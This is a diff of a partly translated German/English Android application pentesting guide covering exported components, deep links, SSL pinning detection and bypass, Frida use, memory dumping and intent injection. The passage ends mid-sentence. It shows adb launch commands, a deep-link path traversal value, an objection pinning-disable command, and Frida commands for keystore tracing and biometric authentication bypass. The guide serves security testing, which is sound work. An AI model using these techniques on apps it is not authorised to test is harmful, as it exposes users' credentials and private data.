**Authorisation bypass** -Wenn eine Activity exportiert ist, können Sie ihren Screen von einer externen App aufrufen. Daher könnten Sie, wenn eine Activity mit **sensitive information** **exported** ist, die **authentication**-Mechanismen **bypassen**, um darauf zuzugreifen. +When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -Sie können eine exportierte Activity auch über adb starten: +You can also start an exported activity from adb: -- PackageName ist com.example.demo -- Exported ActivityName ist com.example.test.MainActivity +- PackageName is com.example.demo +- Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**HINWEIS**: MobSF wird die Verwendung von _**singleTask/singleInstance**_ als `android:launchMode` in einer activity als bösartig erkennen, aber aufgrund von [diesem](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) ist das offenbar nur auf alten Versionen (API versions < 21) gefährlich. > [!TIP] -> Beachte, dass ein authorisation bypass nicht immer eine vulnerability ist; es hängt davon ab, wie der bypass funktioniert und welche Informationen offengelegt werden. +> Beachte, dass ein authorisation bypass nicht immer eine vulnerability ist — es kommt darauf an, wie der bypass funktioniert und welche Informationen exponiert werden. **Sensitive information leakage** -**Activities can also return results**. Wenn es dir gelingt, eine exportierte und ungeschützte Activity zu finden, die die Methode **`setResult`** aufruft und **sensitive information** zurückgibt, liegt eine sensitive information leakage vor. +Activities können auch Ergebnisse zurückgeben. Wenn es dir gelingt, eine exportierte und ungeschützte activity zu finden, die die Methode **`setResult`** aufruft und **sensible Informationen zurückgibt**, liegt ein Leck sensibler Informationen vor. #### Tapjacking -Wenn Tapjacking nicht verhindert wird, könntest du die exportierte Activity missbrauchen, um den **Benutzer unerwartete Aktionen ausführen zu lassen**. Für mehr Infos zu [**was Tapjacking ist, folge dem Link**](#tapjacking). +Wenn Tapjacking nicht verhindert wird, könntest du die exportierte activity missbrauchen, um den **Benutzer unerwartete Aktionen ausführen zu lassen**. Für mehr Infos über [**was Tapjacking ist, folge dem Link**](#tapjacking). ### Exploiting Content Providers - Accessing and manipulating sensitive information -[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers werden im Wesentlichen verwendet, um **Daten zu teilen**. Wenn eine App Content Providers bereitstellt, kannst du möglicherweise **sensitive** Daten daraus **extrahieren**. Es ist auch sinnvoll, mögliche **SQL injections** und **Path Traversals** zu testen, da diese verwundbar sein könnten. +[**Lies dies, wenn du auffrischen möchtest, was ein Content Provider ist.**](android-applications-basics.md#content-provider)\ +Content providers werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine App Content providers bereitstellt, kannst du möglicherweise **sensible Daten aus ihnen extrahieren**. Es ist außerdem sinnvoll, mögliche **SQL injections** und **Path Traversals** zu testen, da diese verwundbar sein könnten. -[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) +[**Lerne, wie man Content Providers mit Drozer ausnutzt.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** -[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ +[**Lies dies, wenn du auffrischen möchtest, was ein Service ist.**](android-applications-basics.md#services)\ Denke daran, dass die Aktionen eines Service in der Methode `onStartCommand` beginnen. -Ein Service ist im Grunde etwas, das **Daten empfangen**, sie **verarbeiten** und (oder nicht) eine Antwort **zurückgeben** kann. Wenn eine Anwendung also Services exportiert, solltest du den **Code** prüfen, um zu verstehen, was er tut, und ihn **dynamisch** testen, um vertrauliche Informationen zu extrahieren, Authentifizierungsmaßnahmen zu umgehen...\ -[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) +Ein Service ist im Grunde etwas, das **Daten empfangen**, diese **verarbeiten** und (oder nicht) eine Antwort **zurückgeben** kann. Wenn eine Anwendung also Services exportiert, solltest du den **Code** prüfen, um zu verstehen, was er tut, und ihn **dynamisch** testen, um vertrauliche Informationen zu extrahieren, Authentifizierungsmaßnahmen zu umgehen usw.\ +[**Lerne, wie man Services mit Drozer ausnutzt.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** -[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Denke daran, dass die Aktionen eines Broadcast Receiver in der Methode `onReceive` starten. +[**Lies dies, wenn du auffrischen möchtest, was ein Broadcast Receiver ist.**](android-applications-basics.md#broadcast-receivers)\ +Denke daran, dass die Aktionen eines Broadcast Receiver in der Methode `onReceive` beginnen. -Ein Broadcast Receiver wartet auf einen Nachrichtentyp. Je nachdem, wie der Receiver die Nachricht verarbeitet, kann er verwundbar sein.\ -[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) +Ein Broadcast Receiver wartet auf einen bestimmten Nachrichtentyp. Je nachdem, wie der Receiver die Nachricht verarbeitet, kann er verwundbar sein.\ +[**Lerne, wie man Broadcast Receivers mit Drozer ausnutzt.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Du kannst nach deep links manuell suchen, mit Tools wie MobSF oder Skripten wie [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Du kannst nach deep links manuell suchen, indem du Tools wie MobSF oder Skripte wie [dieses](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) verwendest.\ Du kannst ein deklariertes **scheme** mit **adb** oder einem **browser** **öffnen**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Beachte, dass du den **Paketnamen weglassen** kannst und das Mobilgerät automatisch die App aufruft, die diesen Link öffnen soll._ +_Beachte, dass du **den Paketnamen weglassen** kannst und das Mobilgerät automatisch die App aufruft, die diesen Link öffnen sollte._ ```html Click me @@ -393,56 +393,56 @@ _Beachte, dass du den **Paketnamen weglassen** kannst und das Mobilgerät automa ``` **Ausgeführter Code** -Um den **Code zu finden, der in der App ausgeführt wird**, gehe zu der activity, die vom deeplink aufgerufen wird, und suche nach der Funktion **`onNewIntent`**. +Um den **Code zu finden, der in der App ausgeführt wird**, gehe zur Activity, die vom deeplink aufgerufen wird, und suche die Funktion **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) **Sensitive info** -Jedes Mal, wenn du einen deep link findest, überprüfe, dass er **keine sensiblen Daten (wie Passwörter) über URL-Parameter empfängt**, da jede andere Anwendung den deep link **imitieren und diese Daten stehlen könnte!** +Jedes Mal, wenn du einen deep link findest, überprüfe, dass **er keine sensitiven Daten (wie Passwörter) über URL parameters erhält**, denn jede andere Anwendung könnte **den deep link vortäuschen und diese Daten stehlen!** **Parameters in path** -Du **musst außerdem prüfen, ob ein deep link einen Parameter im Pfad** der URL verwendet, wie z. B.: `https://api.example.com/v1/users/{username}` , in diesem Fall kannst du einen path traversal erzwingen, indem du etwas wie `example://app/users?username=../../unwanted-endpoint%3fparam=value` aufrufst.\ -Beachte, dass du, wenn du die korrekten Endpoints in der Anwendung findest, möglicherweise ein **Open Redirect** (wenn ein Teil des Pfads als Domainname verwendet wird), eine **account takeover** (wenn du Benutzerdaten ohne CSRF-Token ändern kannst und das verwundbare Endpoint die richtige Methode verwendet) oder andere vuln auslösen kannst. Mehr [Info dazu hier](http://dphoeniixx.com/2020/12/13-2/). +Du **musst auch prüfen, ob ein deep link einen Parameter im Pfad** der URL verwendet, z. B.: `https://api.example.com/v1/users/{username}`. In diesem Fall kannst du ein path traversal erzwingen, indem du auf etwas wie `example://app/users?username=../../unwanted-endpoint%3fparam=value` zugreifst.\ +Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). **More examples** -Ein [interessanter bug bounty report](https://hackerone.com/reports/855618) über Links (_/.well-known/assetlinks.json_). +An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). ### Transport Layer-Inspektion und Verifikationsfehler -- **Certificates are not always inspected properly** von Android-Anwendungen. Häufig übersehen diese Anwendungen Warnungen und akzeptieren self-signed certificates oder fallen in manchen Fällen auf HTTP-Verbindungen zurück. -- **Negotiations during the SSL/TLS handshake are sometimes weak**, indem unsichere cipher suites verwendet werden. Diese Schwachstelle macht die Verbindung anfällig für man-in-the-middle (MITM)-Angriffe, wodurch Angreifer die Daten entschlüsseln können. -- **Leakage of private information** ist ein Risiko, wenn Anwendungen sich über sichere Kanäle authentifizieren, aber anschließend für andere Transaktionen über unsichere Kanäle kommunizieren. Dadurch werden sensitive Daten wie session cookies oder Benutzerdetails nicht vor Abfangung durch bösartige Akteure geschützt. +- **Zertifikate werden nicht immer korrekt geprüft** von Android-Anwendungen. Es ist üblich, dass diese Anwendungen Warnungen ignorieren und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen auf HTTP-Verbindungen zurückfallen. +- **Aushandlungen während des SSL/TLS-Handshake sind manchmal schwach**, es werden insecure cipher suites eingesetzt. Diese Schwachstelle macht die Verbindung anfällig für man-in-the-middle (MITM) Angriffe und erlaubt Angreifern, die Daten zu entschlüsseln. +- **Offenlegung privater Informationen** ist ein Risiko, wenn Anwendungen sich über sichere Kanäle authentifizieren, dann aber für andere Transaktionen über unsichere Kanäle kommunizieren. Dieser Ansatz schützt sensible Daten wie Session-Cookies oder Benutzerdetails nicht vor dem Abfangen durch böswillige Akteure. #### Certificate Verification -Wir konzentrieren uns auf die **Zertifikatsprüfung**. Die Integrität des Serverzertifikats muss überprüft werden, um die Sicherheit zu erhöhen. Das ist entscheidend, da unsichere TLS-Konfigurationen und die Übertragung sensibler Daten über unverschlüsselte Kanäle erhebliche Risiken darstellen können. Für detaillierte Schritte zur Überprüfung von Serverzertifikaten und zur Behebung von Schwachstellen bietet [**diese Ressource**](https://manifestsecurity.com/android-application-security-part-10/) umfassende Anleitungen. +Wir konzentrieren uns auf die **Zertifikatsverifikation**. Die Integrität des Serverzertifikats muss verifiziert werden, um die Sicherheit zu erhöhen. Das ist entscheidend, da unsichere TLS-Konfigurationen und die Übertragung sensibler Daten über unverschlüsselte Kanäle erhebliche Risiken darstellen können. Für detaillierte Schritte zur Überprüfung von Serverzertifikaten und zur Behebung von Schwachstellen bietet [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) umfassende Anleitungen. #### SSL Pinning -SSL Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzertifikat gegen eine bekannte Kopie überprüft, die innerhalb der Anwendung gespeichert ist. Diese Methode ist essentiell zur Verhinderung von MITM-Angriffen. Die Implementierung von SSL Pinning wird dringend empfohlen für Anwendungen, die mit sensiblen Informationen umgehen. +SSL Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzertifikat gegen eine bekannte Kopie verifiziert, die innerhalb der Anwendung gespeichert ist. Diese Methode ist essenziell, um MITM-Angriffe zu verhindern. Die Implementierung von SSL Pinning wird dringend empfohlen für Anwendungen, die mit sensitiven Informationen umgehen. #### Traffic Inspection -Um HTTP-Traffic zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist verschlüsselter Traffic unter Umständen nicht über den Proxy sichtbar. Eine Anleitung zum Installieren eines benutzerdefinierten CA-Zertifikats findest du [**hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Um HTTP-Traffic zu inspizieren, ist es notwendig, **das Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist verschlüsselter Traffic möglicherweise nicht über den Proxy sichtbar. For a guide on installing a custom CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Apps, die **API Level 24 and above** anvisieren, benötigen Änderungen an der Network Security Config, damit das CA-Zertifikat des Proxys akzeptiert wird. Dieser Schritt ist entscheidend, um verschlüsselten Traffic zu inspizieren. Anweisungen zum Ändern der Network Security Config findest du in [**diesem Tutorial**](make-apk-accept-ca-certificate.md). +Applications targeting **API Level 24 and above** require modifications to the Network Security Config to accept the proxy's CA certificate. This step is critical for inspecting encrypted traffic. For instructions on modifying the Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). -Wenn **Flutter** verwendet wird, musst du den Anweisungen auf [**dieser Seite**](flutter.md) folgen. Denn das bloße Hinzufügen des Zertifikats zum Store reicht nicht aus, da Flutter eine eigene Liste gültiger CAs verwendet. +If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs. -#### Statische Erkennung von SSL/TLS-Pinning +#### Static detection of SSL/TLS pinning -Bevor du Runtime-Bypässe versuchst, kartiere schnell, wo Pinning im APK erzwungen wird. Statische Erkennung hilft dir, Hooks/Patches zu planen und dich auf die richtigen Codepfade zu konzentrieren. +Bevor du Runtime-Bypässe versuchst, mappe schnell, wo Pinning im APK erzwungen wird. Statische Erkennung hilft dir, Hooks/Patches zu planen und dich auf die richtigen Code-Pfade zu konzentrieren. Tool: SSLPinDetect -- Open-Source-Tool zur statischen Analyse, das das APK zu Smali (via apktool) dekompiliert und nach kuratierten regex-Mustern für SSL/TLS-Pinning-Implementierungen sucht. -- Meldet den exakten Dateipfad, die Zeilennummer und einen Codeausschnitt für jeden Treffer. -- Deckt gängige Frameworks und benutzerdefinierte Codepfade ab: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init mit custom TrustManagers/KeyManagers und Network Security Config XML pins. +- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. +- Reports exact file path, line number, and a code snippet for each match. +- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. Installation -- Voraussetzungen: Python >= 3.8, Java in PATH, apktool +- Voraussetzungen: Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect @@ -456,8 +456,9 @@ python sslpindetect.py -f app.apk -a apktool.jar # Verbose (timings + per-match path:line + snippet) python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` -Beispiel-Pattern-Regeln (JSON) -Verwende oder erweitere Signaturen, um proprietary/custom pinning styles zu erkennen. Du kannst dein eigenes JSON laden und im großen Maßstab scannen. +Beispiel-Musterregeln (JSON) + +Verwenden oder erweitern Sie signatures, um proprietäre/custom pinning styles zu erkennen. Sie können Ihr eigenes JSON laden und scan at scale. ```json { "OkHttp Certificate Pinning": [ @@ -471,53 +472,53 @@ Verwende oder erweitere Signaturen, um proprietary/custom pinning styles zu erke ] } ``` -Hinweise und Tipps -- Schnelles Scannen großer Apps über multi-threading und memory-mapped I/O; vorkompilierte regex reduziert Overhead/Fehlalarme. +Notes and tips +- Schnelles Scannen großer Apps per Multithreading und memory-mapped I/O; vorkompilierte regex reduziert Overhead/Falschpositive. - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- Typische Erkennungsziele für die weitere Triage: -- OkHttp: CertificatePinner Verwendung, setCertificatePinner, okhttp3/okhttp package references -- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides -- Custom SSL contexts: SSLContext.getInstance + SSLContext.init mit custom managers -- Declarative pins in res/xml network security config und Manifest-Referenzen -- Verwende die gefundenen Stellen, um Frida hooks, statische Patches oder Konfigurationsprüfungen vor dynamischen Tests zu planen. +- Typische Erkennungsziele zur weiteren Triage: +- OkHttp: CertificatePinner-Nutzung, setCertificatePinner, okhttp3/okhttp Paketreferenzen +- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted-Overrides +- Custom SSL contexts: SSLContext.getInstance + SSLContext.init mit eigenen Managern +- Deklarative pins in res/xml network security config und Manifest-Referenzen +- Nutze die gefundenen Stellen, um Frida-Hooks, statische Patches oder Config-Reviews vor dynamischem Testing zu planen. -#### Umgehen von SSL Pinning +#### Umgehung von SSL Pinning -Wenn SSL Pinning implementiert ist, wird das Umgehen davon nötig, um HTTPS-Traffic zu inspizieren. Dafür stehen verschiedene Methoden zur Verfügung: +Wenn SSL Pinning implementiert ist, wird seine Umgehung notwendig, um HTTPS-Traffic zu untersuchen. Dafür stehen verschiedene Methoden zur Verfügung: -- Automatisch die **apk** **modifizieren**, um SSLPinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **bypassen**. Der größte Vorteil dieser Option ist, dass du kein root brauchst, um das SSL Pinning zu umgehen, aber du musst die Anwendung löschen und die neue Version installieren — das funktioniert nicht immer. -- Du kannst **Frida** (unten beschrieben) verwenden, um diesen Schutz zu umgehen. Hier ist eine Anleitung für Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- Du kannst versuchen, SSL Pinning **automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Du kannst auch versuchen, SSL Pinning **automatisch zu umgehen** mit **MobSF dynamic analysis** (weiter unten erklärt) -- Wenn du immer noch denkst, dass Traffic nicht erfasst wird, kannst du versuchen, den Traffic mit iptables an Burp weiterzuleiten. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Automatisch die **apk** mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) **modifizieren**, um SSLPinning zu **bypassen**. Der größte Vorteil dieser Option ist, dass du kein root brauchst, um das SSL Pinning zu umgehen, aber du musst die Anwendung löschen und die neue installieren — das funktioniert nicht immer. +- Du kannst **Frida** (unten besprochen) verwenden, um diesen Schutz zu umgehen. Hier ein Guide für Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- Du kannst auch versuchen, SSL Pinning automatisch mit [**objection**](frida-tutorial/objection-tutorial.md) zu umgehen: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- Du kannst auch versuchen, SSL Pinning automatisch mit **MobSF dynamic analysis** zu umgehen (unten erklärt) +- Wenn du denkst, dass Traffic nicht erfasst wird, kannst du versuchen, den Traffic per iptables an Burp weiterzuleiten. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Nach häufigen Web-Schwachstellen suchen +#### Suche nach gängigen Web-Vulnerabilities -Es ist wichtig, auch innerhalb der Anwendung nach gängigen Web-Schwachstellen zu suchen. Detaillierte Informationen zur Identifikation und Behebung dieser Schwachstellen liegen außerhalb dieses Überblicks, werden aber an anderer Stelle ausführlich behandelt. +Es ist wichtig, auch nach gängigen Web-Vulnerabilities innerhalb der Anwendung zu suchen. Detaillierte Informationen zur Identifikation und Behebung dieser Schwachstellen liegen außerhalb dieser Zusammenfassung, werden aber an anderer Stelle ausführlich behandelt. ### Frida -[Frida](https://www.frida.re) ist ein dynamisches Instrumentierungs-Toolkit für Entwickler, Reverse-Engineers und Security-Researcher.\ -**Du kannst auf laufende Anwendungen zugreifen und Methoden zur Laufzeit hooken, um Verhalten zu ändern, Werte zu verändern/extrahieren, anderen Code auszuführen...**\ -Wenn du Android-Anwendungen pentest möchtest, musst du wissen, wie man Frida benutzt. +[Frida](https://www.frida.re) ist ein dynamisches Instrumentierungs-Toolkit für Entwickler, Reverse-Engineers und Sicherheitsforscher.\ +Du kannst auf laufende Anwendungen zugreifen und Methoden zur Laufzeit hooken, um Verhalten zu ändern, Werte zu verändern, Werte zu extrahieren oder anderen Code auszuführen...\ +Wenn du Android-Anwendungen pentesten willst, musst du wissen, wie man Frida benutzt. -- Lerne Frida: [**Frida tutorial**](frida-tutorial/index.html) -- Einige "GUI"-Tools für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection ist ideal, um den Einsatz von Frida zu automatisieren: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Du findest einige Awesome Frida scripts hier: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Versuche, anti-debugging / anti-frida Mechanismen zu umgehen, indem du Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) lädst (Tool [linjector](https://github.com/erfur/linjector-rs)) +- Lerne, wie man Frida benutzt: [**Frida tutorial**](frida-tutorial/index.html) +- Einige "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection ist gut, um die Nutzung von Frida zu automatisieren: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Du findest einige Awesome Frida-Skripte hier: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) gezeigt lädst (Tool [linjector](https://github.com/erfur/linjector-rs)) -#### Anti-instrumentation & SSL pinning bypass Ablauf +#### Anti-instrumentation & SSL pinning bypass workflow {{#ref}} android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}} -### **Speicher auslesen - Fridump** +### **Speicher dumpen - Fridump** -Prüfe, ob die Anwendung sensitive Informationen im Speicher ablegt, die dort nicht sein sollten, wie Passwörter oder mnemonics. +Prüfe, ob die Anwendung sensible Informationen im Speicher ablegt, die dort nicht sein sollten, z. B. Passwörter oder mnemonics. Mit [**Fridump3**](https://github.com/rootbsd/fridump3) kannst du den Speicher der App dumpen mit: ```bash @@ -528,120 +529,120 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Das erzeugt einen Speicher-Dump im Ordner ./dump; dort kannst du dann mit etwas wie folgendem grep suchen: +Dadurch wird der Speicher im Ordner ./dump gedumpt, und dort könntest du mit etwas wie folgendem grep suchen: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Sensible Daten im Keystore** -Auf Android ist der Keystore der beste Ort, um sensible Daten zu speichern, jedoch ist es mit genügend Berechtigungen immer noch **möglich, darauf zuzugreifen**. Da Anwendungen dazu neigen, hier **sensible Daten im Klartext** zu speichern, sollten pentests dies als root user prüfen, da jemand mit physischem Zugriff auf das Gerät diese Daten stehlen könnte. +In Android ist der Keystore der beste Ort, um sensible Daten zu speichern, jedoch ist es mit ausreichenden Privilegien weiterhin **möglich, darauf zuzugreifen**. Da Anwendungen hier dazu neigen, **sensible Daten im Klartext** zu speichern, sollten pentests dies überprüfen, da ein root user oder jemand mit physischem Zugriff auf das Gerät diese Daten stehlen könnte. -Selbst wenn eine App Daten im Keystore speichert, sollten diese Daten verschlüsselt sein. +Selbst wenn eine App Daten im Keystore speichert, sollten die Daten verschlüsselt sein. -Um auf die Daten im Keystore zuzugreifen, kann man dieses Frida script verwenden: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Um auf die Daten im Keystore zuzugreifen, kannst du dieses Frida-Skript verwenden: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Mit dem folgenden Frida-Script könnte es möglich sein, die von Android-Anwendungen möglicherweise durchgeführte **bypass fingerprint authentication** zu umgehen, mit der bestimmte sensible Bereiche geschützt werden: +Mit dem folgenden Frida-Skript kann es möglich sein, eine von Android-Anwendungen eingesetzte **bypass fingerprint authentication** zu umgehen, die zum Schutz bestimmter sensibler Bereiche verwendet wird: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Hintergrundbilder** -Wenn du eine Anwendung in den Hintergrund schickst, speichert Android einen **snapshot der Anwendung**, sodass beim Wiederherstellen in den Vordergrund zuerst das Bild geladen wird, bevor die App startet — dadurch wirkt die App, als wäre sie schneller geladen. +Wenn Sie eine Anwendung in den Hintergrund legen, speichert Android eine **snapshot of the application**, sodass beim Wiederherstellen in den Vordergrund das Bild vor der App geladen wird und es so aussieht, als wäre die App schneller gestartet. -Enthält dieser **snapshot** jedoch **sensible Informationen**, könnte jemand mit Zugriff auf den snapshot diese **stehlen** (Hinweis: zum Zugriff wird root benötigt). +Wenn dieser snapshot jedoch **sensible Informationen** enthält, könnte jemand mit Zugriff auf den snapshot **diese Informationen stehlen** (Hinweis: Zum Zugriff wird Root benötigt). -Die snapshots werden normalerweise gespeichert unter: **`/data/system_ce/0/snapshots`** +Die snapshots werden üblicherweise hier gespeichert: **`/data/system_ce/0/snapshots`** -Android bietet eine Möglichkeit, die **Erfassung von screenshots zu verhindern, indem man das Layout-Parameter FLAG_SECURE setzt**. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt und verhindert, dass sie in screenshots erscheinen oder auf nicht-sicheren Displays angezeigt werden. +Android bietet eine Möglichkeit, **das Erfassen von screenshots zu verhindern, indem der Layout-Parameter FLAG_SECURE gesetzt wird**. Wenn dieses Flag verwendet wird, werden die Fensterinhalte als sicher behandelt, wodurch verhindert wird, dass sie in screenshots erscheinen oder auf nicht-sicheren Displays angezeigt werden. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -Dieses Tool kann Ihnen helfen, verschiedene Tools während der dynamic analysis zu verwalten: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +Dieses Tool kann Ihnen beim Verwalten verschiedener Tools während der dynamic analysis helfen: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -Entwickler erstellen oft Proxy-Komponenten wie activities, services und broadcast receivers, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weiterreichen, was riskant sein kann. +Entwickler erstellen häufig Proxy-Komponenten wie activities, services und broadcast receivers, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weitergeben, was riskant sein kann. -Die Gefahr besteht darin, Angreifern zu erlauben, non-exported App-Komponenten oder sensible content providers zu triggern, indem diese Intents fehlgeleitet werden. Ein bekanntes Beispiel ist die `WebView`-Komponente, die URLs mittels `Intent.parseUri(...)` in `Intent`-Objekte umwandelt und diese dann ausführt, was zu bösartigen Intent-Injections führen kann. +Die Gefahr liegt darin, Angreifern zu erlauben, nicht-exportierte App-Komponenten auszulösen oder sensible content providers zu erreichen, indem diese Intents fehlgeleitet werden. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs mittels `Intent.parseUri(...)` in `Intent`-Objekte umwandelt und diese dann ausführt, was potenziell zu bösartigen Intent injections führen kann. -### Essential Takeaways +### Wesentliche Erkenntnisse -- **Intent Injection** is similar to web's Open Redirect issue. -- Exploits involve passing `Intent` objects as extras, which can be redirected to execute unsafe operations. -- It can expose non-exported components and content providers to attackers. -- `WebView`’s URL to `Intent` conversion can facilitate unintended actions. +- **Intent Injection** ist ähnlich wie das Open Redirect-Problem im Web. +- Exploits beinhalten das Übergeben von `Intent`-Objekten als extras, die umgeleitet werden können, um unsichere Operationen auszuführen. +- Dadurch können nicht-exportierte Komponenten und content providers für Angreifer zugänglich werden. +- Die URL-zu-`Intent`-Konvertierung von `WebView` kann unbeabsichtigte Aktionen ermöglichen. ### Android Client Side Injections and others -Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen bei diesen Schwachstellen in einer Android-Anwendung besonders vorsichtig sein: +Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Bei einer Android-Anwendung müssen Sie besonders auf diese Schwachstellen achten: -- **SQL Injection:** Beim Umgang mit dynamischen Queries oder Content-Providers stellen Sie sicher, dass Sie parameterisierte Abfragen verwenden. -- **JavaScript Injection (XSS):** Vergewissern Sie sich, dass JavaScript- und Plugin-Unterstützung für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebViews sollten keinen Zugriff auf das Dateisystem haben (standardmäßig aktiv) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies:** In 